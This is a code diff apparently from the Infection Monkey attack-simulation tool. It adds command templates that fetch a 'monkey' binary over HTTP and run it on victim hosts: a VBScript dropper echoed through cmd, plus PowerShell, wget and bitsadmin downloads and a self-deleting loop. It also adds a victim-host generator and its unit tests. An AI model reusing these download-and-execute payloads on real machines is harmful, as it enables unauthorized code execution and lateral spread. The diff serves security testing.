RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
# Commands used for downloading monkeys
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable
@ -40,4 +38,4 @@ HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
"; chmod +x %(monkey_path)s " \
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
DOWNLOAD_TIMEOUT = 300
DOWNLOAD_TIMEOUT = 180

View File

@ -0,0 +1,45 @@
from infection_monkey.model.host import VictimHost
class VictimHostGenerator(object):
def __init__(self, network_ranges, blocked_ips, same_machine_ips):
self.blocked_ips = blocked_ips
self.ranges = network_ranges
self.local_addresses = same_machine_ips
def generate_victims(self, chunk_size):
"""
Generates VictimHosts in chunks from all the instances network ranges
:param chunk_size: Maximum size of each chunk
"""
chunk = []
for net_range in self.ranges:
for victim in self.generate_victims_from_range(net_range):
chunk.append(victim)
if len(chunk) == chunk_size:
yield chunk
chunk = []
if chunk: # finished with number of victims < chunk_size
yield chunk
def generate_victims_from_range(self, net_range):
"""
Generates VictimHosts from a given netrange
:param net_range: Network range object
:return: Generator of VictimHost objects
"""
for address in net_range:
if not self.is_ip_scannable(address): # check if the IP should be skipped
continue
if hasattr(net_range, 'domain_name'):
victim = VictimHost(address, net_range.domain_name)
else:
victim = VictimHost(address)
yield victim
def is_ip_scannable(self, ip_address):
if ip_address in self.local_addresses:
return False
if ip_address in self.blocked_ips:
return False
return True

View File

@ -0,0 +1,46 @@
from unittest import TestCase
from infection_monkey.model.victim_host_generator import VictimHostGenerator
from common.network.network_range import CidrRange, SingleIpRange
class VictimHostGeneratorTester(TestCase):
def setUp(self):
self.cidr_range = CidrRange("10.0.0.0/28", False) # this gives us 15 hosts
self.local_host_range = SingleIpRange('localhost')
self.random_single_ip_range = SingleIpRange('41.50.13.37')
def test_chunking(self):
chunk_size = 3
# current test setup is 15+1+1-1 hosts
test_ranges = [self.cidr_range, self.local_host_range, self.random_single_ip_range]
generator = VictimHostGenerator(test_ranges, '10.0.0.1', [])
victims = generator.generate_victims(chunk_size)
for i in range(5): # quickly check the equally sided chunks
self.assertEqual(len(victims.next()), chunk_size)
victim_chunk_last = victims.next()
self.assertEqual(len(victim_chunk_last), 1)
def test_remove_blocked_ip(self):
generator = VictimHostGenerator(self.cidr_range, ['10.0.0.1'], [])
victims = list(generator.generate_victims_from_range(self.cidr_range))
self.assertEqual(len(victims), 14) # 15 minus the 1 we blocked
def test_remove_local_ips(self):
generator = VictimHostGenerator([], [], [])
generator.local_addresses = ['127.0.0.1']
victims = list(generator.generate_victims_from_range(self.local_host_range))
self.assertEqual(len(victims), 0) # block the local IP
def test_generate_domain_victim(self):
# domain name victim
generator = VictimHostGenerator([], [], []) # dummy object
victims = list(generator.generate_victims_from_range(self.local_host_range))
self.assertEqual(len(victims), 1)
self.assertEqual(victims[0].domain_name, 'localhost')
# don't generate for other victims
victims = list(generator.generate_victims_from_range(self.random_single_ip_range))
self.assertEqual(len(victims), 1)
self.assertEqual(victims[0].domain_name, '')

Some files were not shown because too many files have changed in this diff Show More